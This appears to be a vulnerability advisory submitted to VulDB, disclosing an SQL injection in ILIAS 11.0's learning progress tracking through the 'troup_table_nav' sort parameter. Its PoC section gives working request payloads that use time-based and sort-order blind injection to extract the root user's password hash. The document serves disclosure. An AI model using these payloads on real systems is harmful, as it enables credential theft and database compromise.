| Title | ILIAS ILIAS-eLearning 11.0 SQL Injection |
|---|
| Description | ### Summary
An SQL injection vulnerability in the learning progress tracking component allows any user with course-admin or group-admin privileges to execute arbitrary SQL against the database. The table navigation parameter used for column sorting is passed directly into an `ORDER BY` clause with no parameterization or whitelist validation, enabling blind time-based and conditional data extraction as well as database writes.
### Details
The vulnerable code is in `ilTrQuery::executeQueries()` at `components/ILIAS/Tracking/classes/class.ilTrQuery.php:1639-1642`:
```php
if ($a_order_field) {
$query .= " ORDER BY " . $a_order_field . " " . strtoupper($a_order_dir);
}
```
The `$a_order_field` value originates from the HTTP request parameter `troup_table_nav`, which encodes the sort column as the first colon-separated segment (`<orderField>:<direction>:<offset>`). The dispatch chain is:
1. `ilTable2GUI::determineOffsetAndOrder()` at `components/ILIAS/Table/classes/class.ilTable2GUI.php:1203-1209` reads the nav parameter from the HTTP request and calls `setOrderField($nav[0])`.
2. `ilTrObjectUsersPropsTableGUI` calls `parent::__construct()` with `setId("troup")`, making the nav parameter name `troup_table_nav`.
3. `ilTrObjectUsersPropsTableGUI::getItems()` at `components/ILIAS/Tracking/classes/repository_statistics/class.ilTrObjectUsersPropsTableGUI.php:198-210` calls:
```php
$tr_data = ilTrQuery::getUserDataForObject(
$this->ref_id,
ilUtil::stripSlashes($this->getOrderField()), // user-controlled
...
```
4. `ilUtil::stripSlashes()` only strips magic-quotes backslashes; it does not sanitize SQL.
5. `ilTrQuery::getUserDataForObject()` at `ilTrQuery.php:265-338` passes the value to `executeQueries()` unchanged, except for two special-cased values ("language" maps to a hardcoded alias, and "udf_*" prefixes are cleared). Any other string reaches the sink.
6. `executeQueries()` appends `$a_order_field` directly to the query string.
The permission gate at `components/ILIAS/Tracking/classes/class.ilLearningProgressGUI.php:55-62` requires `read_learning_progress` on the target ref_id before dispatching to `ilLPListOfObjectsGUI`. Per the initial permission guideline in `components/ILIAS/AccessControl/classes/Setup/class.ilAccessInitialPermissionGuidelineAppliedObjective.php`, this permission is granted to the `il_crs_admin` role template, the `il_grp_admin` role template, and the global `Author` role. A user who creates a course or group automatically receives the corresponding local admin role.
### PoC
Prerequisites: an ILIAS account with course-admin or group-admin role on any course or group (ref_id REF_ID). A user can self-provision this role by creating a course if the installation permits it.
The learning progress details page URL follows the ilCtrl dispatch chain:
```
/ilias.php?baseClass=ilRepositoryGUI&ref_id=REF_ID&cmdClass=ilobjcoursegui&cmdClass=illearningprogressgui&cmdClass=illplistofobjectsgui&cmd=details
```
**Time-based blind injection (MySQL):**
Send the following request. The `troup_table_nav` parameter value is `IF(1=1,SLEEP(5),login):asc:0` URL-encoded:
```
GET /ilias.php?baseClass=ilRepositoryGUI&ref_id=REF_ID&cmdClass=ilobjcoursegui&cmdClass=illearningprogressgui&cmdClass=illplistofobjectsgui&cmd=details&troup_table_nav=IF(1%3D1%2CSLEEP(5)%2Clogin)%3Aasc%3A0 HTTP/1.1
Host: <ilias-host>
Cookie: <session_cookie>
```
A 5-second delay confirms the injection. Change the condition to enumerate database content:
```
troup_table_nav=IF(SUBSTRING((SELECT password FROM usr_data WHERE login='root'),1,1)='a',SLEEP(5),login):asc:0
```
**Conditional sort-order oracle (no time dependency):**
Injecting a `CASE` expression causes the result set to sort differently depending on whether the condition is true, leaking one bit per request:
```
troup_table_nav=CASE WHEN SUBSTRING((SELECT password FROM usr_data WHERE login='root'),1,1)='a' THEN login ELSE firstname END:asc:0
```
Compare the first row's login field in the response to determine the condition's truth value.
### Impact
Any user holding the `il_crs_admin` or `il_grp_admin` role on any course or group, or any user with the global `Author` role, can inject arbitrary SQL into the ILIAS database. In deployments where users are permitted to create courses (a common default for educator accounts), this is effectively any authenticated user who creates a course.
Successful exploitation allows:
- Full read access to the ILIAS database, including password hashes, session tokens, email addresses, and all user data.
- Database writes via stacked queries or out-of-band techniques where the database configuration allows it.
- Privilege escalation by reading or overwriting session tokens or user credentials. |
|---|
| Source | ⚠️ https://github.com/ILIAS-eLearning/ILIAS |
|---|
| User | geochen (UID 78995) |
|---|
| Submission | 05/23/2026 10:22 (28 days ago) |
|---|
| Moderation | 06/20/2026 12:03 (28 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 372531 [ILIAS Learning Management System 11.0 Learning Progress Tracking class.ilTrQuery.php executeQueries troup_table_nav sql injection] |
|---|
| Points | 20 |
|---|